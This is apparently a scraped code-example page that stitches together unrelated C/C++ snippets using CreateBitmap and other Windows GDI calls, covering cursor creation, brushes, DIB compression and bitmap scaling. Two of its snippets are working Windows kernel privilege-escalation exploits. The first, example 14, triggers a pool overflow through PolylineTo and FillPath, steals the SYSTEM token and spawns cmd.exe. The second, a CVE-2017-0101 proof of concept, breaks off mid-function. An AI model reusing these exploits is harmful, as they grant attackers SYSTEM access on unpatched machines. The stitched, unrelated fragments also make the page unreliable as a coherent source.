		HBITMAP hbmold = (HBITMAP)::SelectObject(hdcMem, (HBITMAP)(Pic.m_hObject));

		int Left, Top;
		Left = Top = 0;
		if (Options & BG_CENTER)
		{
			Left = (GetWidth() - Pic.GetWidth()) / 2;
			Top = (GetHeight() - Pic.GetHeight()) / 2;
		}
		else if (Options & BG_CENTER_ONTICK)
		{
			Left = (GetWidth() - Pic.GetWidth()) / 2;
			Top = (TickHeight - Pic.GetHeight()) / 2;
		}
		else if (Options & BG_CENTER_ONTICK_VERT)
		{
			Left = (TickWidth - Pic.GetWidth()) / 2;
			Top = (GetHeight() - Pic.GetHeight()) / 2;
		}
		if (Options & BG_STARTATICK)
		{
			Left = iMarginWidth - TickWidth / 2;
		}
		if (Options & BG_STARTATICK_VERT)
		{
			Top = iMarginWidth - TickHeight / 2;
		}

		// Blt the bits
		if (Options & BG_STRETCH_HOR)
		{
			int SpreadWidth = Area.Width();
			if (Options & BG_STARTATICK)
				SpreadWidth -= Left * 2;
			::StretchBlt(hDC, Left, Top, SpreadWidth, Pic.GetHeight(), hdcMem, 0, 0, Pic.GetWidth(), Pic.GetHeight(), SRCCOPY);
		}
		else if (Options & BG_STRETCH_VERT)
		{
			int SpreadHeight = Area.Height();
			if (Options & BG_STARTATICK_VERT)
				SpreadHeight -= Top * 2;
			::StretchBlt(hDC, Left, Top, Pic.GetWidth(), SpreadHeight, hdcMem, 0, 0, Pic.GetWidth(), Pic.GetHeight(), SRCCOPY);
		}
		else
			::BitBlt(hDC, Left, Top, Pic.GetWidth(), Pic.GetHeight(), hdcMem, 0, 0, SRCCOPY);

		::SelectObject(hdcMem, hbmold);
		::DeleteDC(hdcMem);
	}
}
Esempio n. 11
0
int _glfwPlatformCreateCursor(_GLFWcursor* cursor,
                              const GLFWimage* image,
                              int xhot, int yhot)
{
    HDC dc;
    HBITMAP bitmap, mask;
    BITMAPV5HEADER bi;
    ICONINFO ii;
    DWORD* target = 0;
    BYTE* source = (BYTE*) image->pixels;
    int i;

    ZeroMemory(&bi, sizeof(bi));
    bi.bV5Size        = sizeof(BITMAPV5HEADER);
    bi.bV5Width       = image->width;
    bi.bV5Height      = -image->height;
    bi.bV5Planes      = 1;
    bi.bV5BitCount    = 32;
    bi.bV5Compression = BI_BITFIELDS;
    bi.bV5RedMask     = 0x00ff0000;
    bi.bV5GreenMask   = 0x0000ff00;
    bi.bV5BlueMask    = 0x000000ff;
    bi.bV5AlphaMask   = 0xff000000;

    dc = GetDC(NULL);
    bitmap = CreateDIBSection(dc, (BITMAPINFO*) &bi, DIB_RGB_COLORS,
                              (void**) &target, NULL, (DWORD) 0);
    ReleaseDC(NULL, dc);

    if (!bitmap)
        return GL_FALSE;

    mask = CreateBitmap(image->width, image->height, 1, 1, NULL);
    if (!mask)
    {
        DeleteObject(bitmap);
        return GL_FALSE;
    }

    for (i = 0;  i < image->width * image->height;  i++, target++, source += 4)
    {
        *target = (source[3] << 24) |
                  (source[0] << 16) |
                  (source[1] <<  8) |
                   source[2];
    }

    ZeroMemory(&ii, sizeof(ii));
    ii.fIcon    = FALSE;
    ii.xHotspot = xhot;
    ii.yHotspot = yhot;
    ii.hbmMask  = mask;
    ii.hbmColor = bitmap;

    cursor->win32.handle = (HCURSOR) CreateIconIndirect(&ii);

    DeleteObject(bitmap);
    DeleteObject(mask);

    if (!cursor->win32.handle)
        return GL_FALSE;

    return GL_TRUE;
}
Esempio n. 12
0
static HBRUSH
wf_create_brush(wfInfo * wfi, RD_BRUSH * brush, int color, int bpp)
{
	HBRUSH br;
	LOGBRUSH lbr;
	HBITMAP pattern = NULL;
	uint8 * cdata;
	int i;
	uint8 ipattern[8];

	// Style
	lbr.lbStyle = brush->style;
	// Color
	if (lbr.lbStyle == BS_DIBPATTERN || lbr.lbStyle == BS_DIBPATTERN8X8 || lbr.lbStyle == BS_DIBPATTERNPT)
	{
		lbr.lbColor = DIB_RGB_COLORS;
	}
	else
	{
		lbr.lbColor = color;
	}
	// Hatch
	if (lbr.lbStyle == BS_PATTERN || lbr.lbStyle == BS_PATTERN8X8)
	{
		if (brush->bd == 0)	/* rdp4 brush */
		{
			for (i = 0; i != 8; i++)
			{
				ipattern[7 - i] = brush->pattern[i];
			}
			cdata = wf_glyph_convert(wfi, 8, 8, ipattern);
			pattern = CreateBitmap(8, 8, 1, 1, cdata);
			lbr.lbHatch = (ULONG_PTR)pattern;
			free(cdata);
		}
		else if (brush->bd->color_code > 1)	/* > 1 bpp */
		{
			pattern = wf_create_dib(wfi, 8, 8, bpp, 1, brush->bd->data);
			lbr.lbHatch = (ULONG_PTR)pattern;
		}
		else
		{
			cdata = wf_glyph_convert(wfi, 8, 8, brush->bd->data);
			pattern = CreateBitmap(8, 8, 1, 1, cdata);
			lbr.lbHatch = (ULONG_PTR)pattern;
			free(cdata);
		}
	}
	else if (lbr.lbStyle == BS_HATCHED)
	{
		lbr.lbHatch = brush->pattern[0];
	}
	else
	{
		lbr.lbHatch = 0;
	}

	br = CreateBrushIndirect(&lbr);
	SetBrushOrgEx(wfi->drw->hdc, brush->xorigin, brush->yorigin, NULL);
	if (pattern != NULL)
	{
		DeleteObject(pattern);
	}
	return br;
}
Esempio n. 13
0
/*************************************************************************
 *
 * \函数名称:
 *   Compress()
 *
 * \输入参数:
 *   CDC*	pDC			- 设备上下文指针
 *   BOOL	bCompress		- TRUE对应于压缩的DIB,FALSE对应于不压缩的DIB
 *
 * \返回值:
 *   BOOL				- 如果成功,则返回TRUE
 *
 * \说明:
 *   该函数将DIB重新生成为压缩或者不压缩的DIB。在内部,它转换已有的DIB为DDB位图
 *   然后生成一个新的压缩或者不压缩的DIB。压缩仅为4bpp和8bpp的DIB所支持。不能
 *   压缩DIB段
 *
 ************************************************************************
 */
BOOL CDib::Compress(CDC* pDC, BOOL bCompress /* = TRUE */)
{
	// 判断是否为4bpp或者8bpp位图,否则,不进行压缩,返回FALSE
	if((m_lpBMIH->biBitCount != 4) && (m_lpBMIH->biBitCount != 8)) return FALSE;
	
	// 如果为DIB段,也不能支持压缩,返回FALSE
	if(m_hBitmap) return FALSE; 

	TRACE("Compress: original palette size = %d\n", m_nColorTableEntries); 
	
	// 获得设备上下文句柄
	HDC hdc = pDC->GetSafeHdc();

	// 将此DIB的调色板选入设备上下文,并保存以前的调色板句柄
	HPALETTE hOldPalette = ::SelectPalette(hdc, m_hPalette, FALSE);

	HBITMAP hBitmap;  

	// 创建一个DDB位图,如果不成功,则返回FALSE
	if((hBitmap = CreateBitmap(pDC)) == NULL) return FALSE;

	// 计算信息头加上调色板的大小尺寸,并给它们分配内存
	int nSize = sizeof(BITMAPINFOHEADER) + sizeof(RGBQUAD) * m_nColorTableEntries;
	LPBITMAPINFOHEADER lpBMIH = (LPBITMAPINFOHEADER) new char[nSize];

	// 将信息头和调色板拷贝到内存中
	memcpy(lpBMIH, m_lpBMIH, nSize);  // new header

	// 如果需要进行压缩,设置相应的信息,并创建压缩格式的DIB
	if(bCompress) {
		switch (lpBMIH->biBitCount) {
		case 4:
			lpBMIH->biCompression = BI_RLE4;
			break;
		case 8:
			lpBMIH->biCompression = BI_RLE8;
			break;
		default:
			ASSERT(FALSE);
		}

		// 设置位图数据指针为NULL,调用GetDIBits来得到压缩格式的DIB的尺寸
		// 如果不能创建DIB,则进行相应的错误处理。
		if(!::GetDIBits(pDC->GetSafeHdc(), hBitmap, 0, (UINT) lpBMIH->biHeight,
					NULL, (LPBITMAPINFO) lpBMIH, DIB_RGB_COLORS)) {
			AfxMessageBox("Unable to compress this DIB");			

			// 删除临时变量,并释放已分配内存
	 		::DeleteObject(hBitmap);
			delete [] lpBMIH;

			// 重新将以前的调色板选入,并返回FALSE
			::SelectPalette(hdc, hOldPalette, FALSE);
			return FALSE; 
		}

		// 如果位图数据为空,则进行相应的错误处理
		if (lpBMIH->biSizeImage == 0) {
			AfxMessageBox("Driver can't do compression");

			// 删除临时变量,并释放已分配内存
	 		::DeleteObject(hBitmap);
			delete [] lpBMIH;

			// 重新将以前的调色板选入,并返回FALSE
			::SelectPalette(hdc, hOldPalette, FALSE);
			return FALSE; 
		}

		// 将位图数据尺寸赋值给类的成员变量
		else {
			m_dwSizeImage = lpBMIH->biSizeImage;
		}
	}

	// 如果是解压缩,进行相应的处理
	else {

		// 设置压缩格式为不压缩
		lpBMIH->biCompression = BI_RGB; 

		// 根据位图的宽度和高度计算位图数据内存的大小		
		DWORD dwBytes = ((DWORD) lpBMIH->biWidth * lpBMIH->biBitCount) / 32;
		if(((DWORD) lpBMIH->biWidth * lpBMIH->biBitCount) % 32) {
			dwBytes++;
		}
		dwBytes *= 4;
		
		// 将得到位图数据的大小尺寸保存在类的成员变量中
		m_dwSizeImage = dwBytes * lpBMIH->biHeight; 

		// 将位图数据内存的大小赋值给临时的信息头中的相应的变量
		lpBMIH->biSizeImage = m_dwSizeImage;
	} 

	// 再次调用GetDIBits来生成DIB数据

	// 分配临时存放位图数据
	LPBYTE lpImage = (LPBYTE) new char[m_dwSizeImage];

	// 再次调用GetDIBits来生成DIB数据,注意此时位图数据指针不为空
	VERIFY(::GetDIBits(pDC->GetSafeHdc(), hBitmap, 0, (UINT) lpBMIH->biHeight,
    		lpImage, (LPBITMAPINFO) lpBMIH, DIB_RGB_COLORS));
	TRACE("dib successfully created - height = %d\n", lpBMIH->biHeight);
	
	// 压缩转换完毕,进行相应的其他处理

	// 删除临时的DDB位图
	::DeleteObject(hBitmap);

	// 释放原来的DIB分配的内存
	Empty();

	// 重新设置图象信息头和图象数据内存分配状态
	m_nBmihAlloc = m_nImageAlloc = crtAlloc;

	// 重新定位信息头和图象数据指针
	m_lpBMIH = lpBMIH;
	m_lpImage = lpImage;

	// 计算图象数据尺寸,并设置DIB中调色板的指针
	ComputeMetrics();

	// 计算DIB中调色板的尺寸
	ComputePaletteSize(m_lpBMIH->biBitCount);

	// 如果DIB中调色板存在的话,读取并创建一个Windows调色板
	MakePalette();

	// 恢复以前的调色板
	::SelectPalette(hdc, hOldPalette, FALSE);
	TRACE("Compress: new palette size = %d\n", m_nColorTableEntries); 

	// 返回
	return TRUE;
}
Esempio n. 14
0
void main(int argc, char* argv[]) {
	HDC hdc = GetDC(NULL);
	HDC hMemDC = CreateCompatibleDC(hdc);
	HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
	HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);

	static POINT points[0x3fe01];

	for (int l = 0; l < 0x3FE00; l++) {
		points[l].x = 0x5a1f;
		points[l].y = 0x5a1f;
	}
	points[2].y = 20;
	points[0x3FE00].x = 0x4a1f;
	points[0x3FE00].y = 0x6a1f;

	if (!BeginPath(hMemDC)) {
		fprintf(stderr, "[!] BeginPath() Failed: %x\r\n", GetLastError());
	}	

	for (int j = 0; j < 0x156; j++) {
		if (j > 0x1F && points[2].y != 0x5a1f) {
			points[2].y = 0x5a1f;
		}
		if (!PolylineTo(hMemDC, points, 0x3FE01)) {
			fprintf(stderr, "[!] PolylineTo() Failed: %x\r\n", GetLastError());
		}
	}

	EndPath(hMemDC);
	//Kernel Pool Fung=Shuei
	fungshuei();
	//getchar();
	
	fprintf(stdout, "[+] Trigerring Exploit.\r\n");
	if (!FillPath(hMemDC)) {
			fprintf(stderr, "[!] FillPath() Failed: %x\r\n", GetLastError());
		}
	printf("%s\r\n", "Done filling.");

	HRESULT res;
	VOID *fake = VirtualAlloc(0x0000000100000000, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (!fake) {
		fprintf(stderr, "VirtualAllocFailed. %x\r\n", GetLastError());
	}
	memset(fake, 0x1, 0x100);
	
	bits = malloc(0x1000);
	memset(bits, 0x42, 0x1000);
	for (int k=0; k < 5000; k++) {

		res = GetBitmapBits(bitmaps[k], 0x1000, bits); //1685 * 2 * 1 + 1
		if (res > 0x150) {
			fprintf(stdout, "GetBitmapBits Result. %x\r\nindex: %d\r\n", res, k);
			hManager = bitmaps[k];
			hWorker = bitmaps[k + 1];

			// Get Gh05 header to fix overflown header.
			static BYTE Gh04[0x9];
			fprintf(stdout, "\r\nGh04 header:\r\n");
			for (int i = 0; i < 0x10; i++){
				Gh04[i] = bits[0x1d0 + i];
				fprintf(stdout, "%02x", bits[0x1d0 + i]);
			}
			
			// Get Gh05 header to fix overflown header.
			static BYTE Gh05[0x9];
			fprintf(stdout, "\r\nGh05 header:\r\n");
			for (int i = 0; i < 0x10; i++) {
				Gh05[i] = bits[0xd90 + i];
				fprintf(stdout, "%02x", bits[0xd90 + i]);
			}

			// Address of Overflown Gh04 object header
			static BYTE addr1[0x7];
			fprintf(stdout, "\r\nPrevious page Gh04 (Leaked address):\r\n");
			for (int j = 0; j < 0x8; j++) {
				addr1[j] = bits[0x210 + j];
				fprintf(stdout, "%02x", bits[0x210 + j]);
			}
			//Get pvscan0 address of second Gh05 object
			static BYTE* pvscan[0x07];
			fprintf(stdout, "\r\nPvsca0:\r\n");
			for (int i = 0; i < 0x8; i++) {
				pvscan[i] = bits[0xdf0 + i];
				fprintf(stdout, "%02x", bits[0xdf0 + i]);
			}

			// Calculate address to overflown Gh04 object header.
			addr1[0x0] = 0;
			int u = addr1[0x1];
			u = u - 0x10;
			addr1[1] = u;
			
			//Fix overflown Gh04 object Header
			SetAddress(addr1);
			WriteToAddress(Gh04);

			// Calculate address to overflown Gh05 object header.
			addr1[0] = 0xc0;
			int y = addr1[1];
			y = y + 0xb;
			addr1[1] = y;

			//Fix overflown Gh05 object Header
			SetAddress(addr1);
			WriteToAddress(Gh05);

			// get System EPROCESS
			ULONG64 SystemEPROCESS = PsInitialSystemProcess();
			//fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS);
			ULONG64 CurrentEPROCESS = PsGetCurrentProcess();
			//fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS);
			ULONG64 SystemToken = 0;
			// read token from system process
			ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, 0x8);
			// write token to current process
			ULONG64 CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset;
			SetAddress((BYTE *)&CurProccessAddr);
			
			WriteToAddress((BYTE *)&SystemToken);
			// Done and done. We're System :)
			system("cmd.exe");
			
			break;
		}
		if (res == 0) {
			fprintf(stderr, "GetBitmapBits failed. %x\r\n", GetLastError());
		}
	}
	getchar();
	//clean up
	DeleteObject(bitobj);
	DeleteObject(bitmap);
	DeleteDC(hMemDC);
	ReleaseDC(NULL, hdc);
	VirtualFree(0x0000000100000000, 0x100, MEM_RELEASE);
	//free(points);
	
}
Esempio n. 15
0
static void CreateScaledBitmaps(Bitmap *old_bitmap, int zoom_factor,
				boolean create_small_bitmaps)
{
  Bitmap swap_bitmap;
  Bitmap *new_bitmap;
  Bitmap *tmp_bitmap_1;
  Bitmap *tmp_bitmap_2;
  Bitmap *tmp_bitmap_4;
  Bitmap *tmp_bitmap_8;
  Bitmap *tmp_bitmap_16;
  Bitmap *tmp_bitmap_32;
  int width_1, height_1;
  int width_2, height_2;
  int width_4, height_4;
  int width_8, height_8;
  int width_16, height_16;
  int width_32, height_32;
  int new_width, new_height;

  /* calculate new image dimensions for normal sized image */
  width_1  = old_bitmap->width  * zoom_factor;
  height_1 = old_bitmap->height * zoom_factor;

  /* get image with normal size (this might require scaling up) */
  if (zoom_factor != 1)
    tmp_bitmap_1 = ZoomBitmap(old_bitmap, width_1, height_1);
  else
    tmp_bitmap_1 = old_bitmap;

  /* this is only needed to make compilers happy */
  tmp_bitmap_2 = NULL;
  tmp_bitmap_4 = NULL;
  tmp_bitmap_8 = NULL;
  tmp_bitmap_16 = NULL;
  tmp_bitmap_32 = NULL;

  if (create_small_bitmaps)
  {
    /* calculate new image dimensions for small images */
    width_2  = width_1  / 2;
    height_2 = height_1 / 2;
    width_4  = width_1  / 4;
    height_4 = height_1 / 4;
    width_8  = width_1  / 8;
    height_8 = height_1 / 8;
    width_16  = width_1  / 16;
    height_16 = height_1 / 16;
    width_32  = width_1  / 32;
    height_32 = height_1 / 32;

    UPDATE_BUSY_STATE();

    /* get image with 1/2 of normal size (for use in the level editor) */
    if (zoom_factor != 2)
      tmp_bitmap_2 = ZoomBitmap(tmp_bitmap_1, width_1 / 2, height_1 / 2);
    else
      tmp_bitmap_2 = old_bitmap;

    UPDATE_BUSY_STATE();

    /* get image with 1/4 of normal size (for use in the level editor) */
    if (zoom_factor != 4)
      tmp_bitmap_4 = ZoomBitmap(tmp_bitmap_2, width_2 / 2, height_2 / 2);
    else
      tmp_bitmap_4 = old_bitmap;

    UPDATE_BUSY_STATE();

    /* get image with 1/8 of normal size (for use on the preview screen) */
    if (zoom_factor != 8)
      tmp_bitmap_8 = ZoomBitmap(tmp_bitmap_4, width_4 / 2, height_4 / 2);
    else
      tmp_bitmap_8 = old_bitmap;

    UPDATE_BUSY_STATE();

    /* get image with 1/16 of normal size (for use on the preview screen) */
    if (zoom_factor != 16)
      tmp_bitmap_16 = ZoomBitmap(tmp_bitmap_8, width_8 / 2, height_8 / 2);
    else
      tmp_bitmap_16 = old_bitmap;

    UPDATE_BUSY_STATE();

    /* get image with 1/32 of normal size (for use on the preview screen) */
    if (zoom_factor != 32)
      tmp_bitmap_32 = ZoomBitmap(tmp_bitmap_16, width_16 / 2, height_16 / 2);
    else
      tmp_bitmap_32 = old_bitmap;

    UPDATE_BUSY_STATE();
  }

#if 0
  /* if image was scaled up, create new clipmask for normal size image */
  if (zoom_factor != 1)
  {
#if defined(TARGET_X11)
    if (old_bitmap->clip_mask)
      XFreePixmap(display, old_bitmap->clip_mask);

    old_bitmap->clip_mask =
      Pixmap_to_Mask(tmp_bitmap_1->drawable, width_1, height_1);

    XSetClipMask(display, old_bitmap->stored_clip_gc, old_bitmap->clip_mask);
#else
    SDL_Surface *tmp_surface_1 = tmp_bitmap_1->surface;

    if (old_bitmap->surface_masked)
      SDL_FreeSurface(old_bitmap->surface_masked);

    SDL_SetColorKey(tmp_surface_1, SDL_SRCCOLORKEY,
		    SDL_MapRGB(tmp_surface_1->format, 0x00, 0x00, 0x00));
    if ((old_bitmap->surface_masked = SDL_DisplayFormat(tmp_surface_1)) ==NULL)
      Error(ERR_EXIT, "SDL_DisplayFormat() failed");
    SDL_SetColorKey(tmp_surface_1, 0, 0);	/* reset transparent pixel */
#endif
  }
#endif

  if (create_small_bitmaps)
  {
    new_width  = width_1;
    new_height = height_1 + (height_1 + 1) / 2;     /* prevent odd height */

    new_bitmap = CreateBitmap(new_width, new_height, DEFAULT_DEPTH);

    BlitBitmap(tmp_bitmap_1, new_bitmap, 0, 0, width_1, height_1, 0, 0);
    BlitBitmap(tmp_bitmap_2, new_bitmap, 0, 0, width_1 / 2, height_1 / 2,
	       0, height_1);
    BlitBitmap(tmp_bitmap_4, new_bitmap, 0, 0, width_1 / 4, height_1 / 4,
	       width_1 / 2, height_1);
    BlitBitmap(tmp_bitmap_8, new_bitmap, 0, 0, width_1 / 8, height_1 / 8,
	       3 * width_1 / 4, height_1);
    BlitBitmap(tmp_bitmap_16, new_bitmap, 0, 0, width_1 / 16, height_1 / 16,
	       7 * width_1 / 8, height_1);
    BlitBitmap(tmp_bitmap_32, new_bitmap, 0, 0, width_1 / 32, height_1 / 32,
	       15 * width_1 / 16, height_1);

    UPDATE_BUSY_STATE();
  }
  else
  {
    new_width  = width_1;
    new_height = height_1;

    new_bitmap = tmp_bitmap_1;	/* directly use tmp_bitmap_1 as new bitmap */
  }

  if (create_small_bitmaps)
  {
    /* if no small bitmaps created, tmp_bitmap_1 is used as new bitmap now */
    if (zoom_factor != 1)
      FreeBitmap(tmp_bitmap_1);

    if (zoom_factor != 2)
      FreeBitmap(tmp_bitmap_2);

    if (zoom_factor != 4)
      FreeBitmap(tmp_bitmap_4);

    if (zoom_factor != 8)
      FreeBitmap(tmp_bitmap_8);

    if (zoom_factor != 16)
      FreeBitmap(tmp_bitmap_16);

    if (zoom_factor != 32)
      FreeBitmap(tmp_bitmap_32);
  }

  /* replace image with extended image (containing 1/1, 1/2, 1/4, 1/8 size) */
#if defined(TARGET_SDL)
  swap_bitmap.surface = old_bitmap->surface;
  old_bitmap->surface = new_bitmap->surface;
  new_bitmap->surface = swap_bitmap.surface;
#else
  swap_bitmap.drawable = old_bitmap->drawable;
  old_bitmap->drawable = new_bitmap->drawable;
  new_bitmap->drawable = swap_bitmap.drawable;
#endif

  old_bitmap->width  = new_bitmap->width;
  old_bitmap->height = new_bitmap->height;

#if 1
  /* this replaces all blit masks created when loading -- maybe optimize this */
  {
#if defined(TARGET_X11)
    if (old_bitmap->clip_mask)
      XFreePixmap(display, old_bitmap->clip_mask);

    old_bitmap->clip_mask =
      Pixmap_to_Mask(old_bitmap->drawable, new_width, new_height);

    XSetClipMask(display, old_bitmap->stored_clip_gc, old_bitmap->clip_mask);
#else
    SDL_Surface *old_surface = old_bitmap->surface;

    if (old_bitmap->surface_masked)
      SDL_FreeSurface(old_bitmap->surface_masked);

    SDL_SetColorKey(old_surface, SDL_SRCCOLORKEY,
		    SDL_MapRGB(old_surface->format, 0x00, 0x00, 0x00));
    if ((old_bitmap->surface_masked = SDL_DisplayFormat(old_surface)) ==NULL)
      Error(ERR_EXIT, "SDL_DisplayFormat() failed");
    SDL_SetColorKey(old_surface, 0, 0);		/* reset transparent pixel */
#endif
  }
#endif

  UPDATE_BUSY_STATE();

  FreeBitmap(new_bitmap);	/* this actually frees the _old_ bitmap now */
}
Esempio n. 16
0
void EERIEAddBitmap(const RenderMaterial & mat, const Vec3f & p, float sx, float sy, TextureContainer * tex, Color color) {
	TexturedQuad s;
	CreateBitmap(s, Rectf(Vec2f(p.x, p.y), sx, sy), p.z, tex, color, false);
	RenderBatcher::getInstance().add(mat, s);
}
Esempio n. 17
0
Cursor::Cursor(Image* img, const IntPoint& hotspot) 
{ 
    static bool doAlpha = supportsAlphaCursors();
    BITMAPINFO cursorImage = {0};
    cursorImage.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
    cursorImage.bmiHeader.biWidth = img->width();
    cursorImage.bmiHeader.biHeight = img->height();
    cursorImage.bmiHeader.biPlanes = 1;
    cursorImage.bmiHeader.biBitCount = 32;
    cursorImage.bmiHeader.biCompression = BI_RGB;
    HDC dc = GetDC(0);
    HDC workingDC = CreateCompatibleDC(dc);
    if (doAlpha) {
        OwnPtr<HBITMAP> hCursor(CreateDIBSection(dc, (BITMAPINFO *)&cursorImage, DIB_RGB_COLORS, 0, 0, 0));
        ASSERT(hCursor);

        img->getHBITMAP(hCursor.get()); 
        HBITMAP hOldBitmap = (HBITMAP)SelectObject(workingDC, hCursor.get());
        SetBkMode(workingDC, TRANSPARENT);
        SelectObject(workingDC, hOldBitmap);

        OwnPtr<HBITMAP> hMask(CreateBitmap(img->width(), img->height(), 1, 1, NULL));

        ICONINFO ii;
        ii.fIcon = FALSE;
        ii.xHotspot = hotspot.x();
        ii.yHotspot = hotspot.y();
        ii.hbmMask = hMask.get();
        ii.hbmColor = hCursor.get();

        m_impl = new SharedCursor(CreateIconIndirect(&ii));
    } else {
        // Platform doesn't support alpha blended cursors, so we need
        // to create the mask manually
        HDC andMaskDC = CreateCompatibleDC(dc);
        HDC xorMaskDC = CreateCompatibleDC(dc);
        OwnPtr<HBITMAP> hCursor(CreateDIBSection(dc, &cursorImage, DIB_RGB_COLORS, 0, 0, 0));
        ASSERT(hCursor);
        img->getHBITMAP(hCursor.get()); 
        BITMAP cursor;
        GetObject(hCursor.get(), sizeof(BITMAP), &cursor);
        OwnPtr<HBITMAP> andMask(CreateBitmap(cursor.bmWidth, cursor.bmHeight, 1, 1, NULL));
        OwnPtr<HBITMAP> xorMask(CreateCompatibleBitmap(dc, cursor.bmWidth, cursor.bmHeight));
        HBITMAP oldCursor = (HBITMAP)SelectObject(workingDC, hCursor.get());
        HBITMAP oldAndMask = (HBITMAP)SelectObject(andMaskDC, andMask.get());
        HBITMAP oldXorMask = (HBITMAP)SelectObject(xorMaskDC, xorMask.get());

        SetBkColor(workingDC, RGB(0,0,0));  
        BitBlt(andMaskDC, 0, 0, cursor.bmWidth, cursor.bmHeight, workingDC, 0, 0, SRCCOPY);
    
        SetBkColor(xorMaskDC, RGB(255, 255, 255));
        SetTextColor(xorMaskDC, RGB(255, 255, 255));
        BitBlt(xorMaskDC, 0, 0, cursor.bmWidth, cursor.bmHeight, andMaskDC, 0, 0, SRCCOPY);
        BitBlt(xorMaskDC, 0, 0, cursor.bmWidth, cursor.bmHeight, workingDC, 0,0, SRCAND);

        SelectObject(workingDC, oldCursor);
        SelectObject(andMaskDC, oldAndMask);
        SelectObject(xorMaskDC, oldXorMask);

        ICONINFO icon = {0};
        icon.fIcon = FALSE;
        icon.xHotspot = hotspot.x();
        icon.yHotspot = hotspot.y();
        icon.hbmMask = andMask.get();
        icon.hbmColor = xorMask.get();
        m_impl = new SharedCursor(CreateIconIndirect(&icon));

        DeleteDC(xorMaskDC);
        DeleteDC(andMaskDC);
    }
    DeleteDC(workingDC);
    ReleaseDC(0, dc);
}
Esempio n. 18
0
void Terrain()
{
    // Allocate the offscreen bitmap
    offMap = CreateBitmap(256, 200);
    if (!offMap) return;

    // Allocate the surface maps
    if (!ISurface()) return;

	// Build tables
	BuildProjectionTable();
                
    // Attempt to randomize
    gSeed = time(NULL) + clock();
        
    // Generate the fractal surface
    Fractify(0, 0, 256, 256);
	Smoothify();
	
    // Build obelisk
    for (int j=-3; j<4; j++)
    	for (int i=-3; i<4; i++)
        	Point(128+i, 128+j) = 240;
        
    // Generate the palette
    BuildPalette();
    // Colorize the surface (w/ sealevel  parameter)
    Colorize(80);

    // Initialize values
	int elev = 10 << (YFIX+FIX);
    gX = gY = gZ = 0;
   	gY = HeightAt(gX, gZ) + elev;

    // Do some display
    int  mx, my;
    char q = 0, clr=0;
    int  c, f = 0;
    char msg[80];
	
    clock_t clk = clock();
    while (!q)
    {
		// Count the frame
        f++;

        //------------Refresh the display-------------
        // Clear the offmap
        ClearScreen(254, 256, 200, offMap);
        // Draw the surface
		Caster();
        // Copy the offmap to the screen                
        Display(offMap, 256, 200);

        //------------Handle user input-------------
        MouseMove(&mx, &my);
        if (mx || my)
        {
            gZ -= my;
            gZ = gZ & 4095;
                        
            gX += mx;
            gX = gX & 4095;
        	gY = HeightAt(gX, gZ) + elev;
        }
        else if (kbhit())
        {
            c = getch();
            switch (c)
            {
                case 0:
                	c = getch();
                    switch (c)
                    {
                        case UP_ARROW_KEY:
                                gZ += 1;
                                break;

                        case DN_ARROW_KEY:
                                gZ -= 1;
                                break;
                                        
                        case LF_ARROW_KEY:
                                gX -= 1;
                                break;

                        case RT_ARROW_KEY:
                                gX += 1;
                            break;
                    }   
                    break;
                                
                case 'w':
                	elev += 8;
                	break;

                case 'x':
                	elev -= 8;
                	 break;

                case ESC_KEY:
                	q = 1;
               		break;
            }

            gZ &= 4095;
            gX &= 4095;
        	gY = HeightAt(gX, gZ) + elev;
        }                                   
    }
    clk = clock() - clk;
    
    _settextposition(1, 2);
    _settextcolor(255);
    sprintf(msg, "Frames: %ld,  Time: %5.2fs,  FPS: %5.2f\n", f, clk/(float)CLOCKS_PER_SEC, f * (float)CLOCKS_PER_SEC / clk);
    _outtext(msg);
}
Esempio n. 19
0
INT POC_CVE20170101(VOID)
{
    std::cout << "-------------------" << std::endl;
    std::cout << "POC - CVE-2017-0101" << std::endl;
    std::cout << "-------------------" << std::endl;

    BOOL bReturn = FALSE;
    HDC hdc = NULL;
    HBITMAP hbmp = NULL;
    HBRUSH hbru = NULL;
    pfPolyPatBlt pfnPolyPatBlt = NULL;
    do
    {
        hdc = GetDC(NULL);
        std::cout << "GET DEVICE CONTEXT: " << hdc << std::endl;
        if (hdc == NULL)
        {
            break;
        }

        std::cout << "CREATE PATTERN BRUSH BITMAP..." << std::endl;
        hbmp = CreateBitmap(0x36D, 0x12AE8F, 1, 1, NULL);
        if (hbmp == NULL)
        {
            break;
        }

        std::cout << "CREATE PATTERN BRUSH..." << std::endl;
        hbru = CreatePatternBrush(hbmp);
        if (hbru == NULL)
        {
            break;
        }

        std::cout << "CREATE BITMAPS (1)..." << std::endl;
        bReturn = xxCreateBitmaps(0xE8C, 1, 8);
        if (!bReturn)
        {
            break;
        }

        std::cout << "REGISTER WINDOW CLASSES..." << std::endl;
        bReturn = xxRegisterWndClasses("KCUF");
        if (!bReturn)
        {
            break;
        }

        std::cout << "DELETE BITMAPS (1)..." << std::endl;
        xxDeleteBitmaps();

        std::cout << "CREATE BITMAPS (2)..." << std::endl;
        bReturn = xxCreateBitmaps(0xC98, 1, 8);
        if (!bReturn)
        {
            break;
        }

        std::cout << "CREATE PALETTES (1)..." << std::endl;
        bReturn = xxCreatePalettes(0x64);
        if (!bReturn)
        {
            break;
        }

        std::cout << "UNREGISTER WINDOW CLASSES (H)..." << std::endl;
        xxDigHoleInWndClasses(1000, 2000);

        std::cout << "POLYPATBLT..." << std::endl;
        POCDEBUG_BREAK();
        pfnPolyPatBlt = (pfPolyPatBlt)GetProcAddress(GetModuleHandleA("gdi32"), "PolyPatBlt");
        if (pfnPolyPatBlt == NULL)
        {
            break;
        }
        PATRECT ppb[1] = { 0 };
        ppb[0].nXLeft  = 0x100;
        ppb[0].nYLeft  = 0x100;
        ppb[0].nWidth  = 0x100;
        ppb[0].nHeight = 0x100;
        ppb[0].hBrush  = hbru;
        pfnPolyPatBlt(hdc, PATCOPY, ppb, 1, 0);

        std::cout << "LOCATE HUNTED BITMAP..." << std::endl;
        bReturn = xxRetrieveBitmapBits();
        if (!bReturn)
        {
            break;
        }

        // std::cout << "OUTPUT BITMAP BITS..." << std::endl;
        // xxOutputBitmapBits();

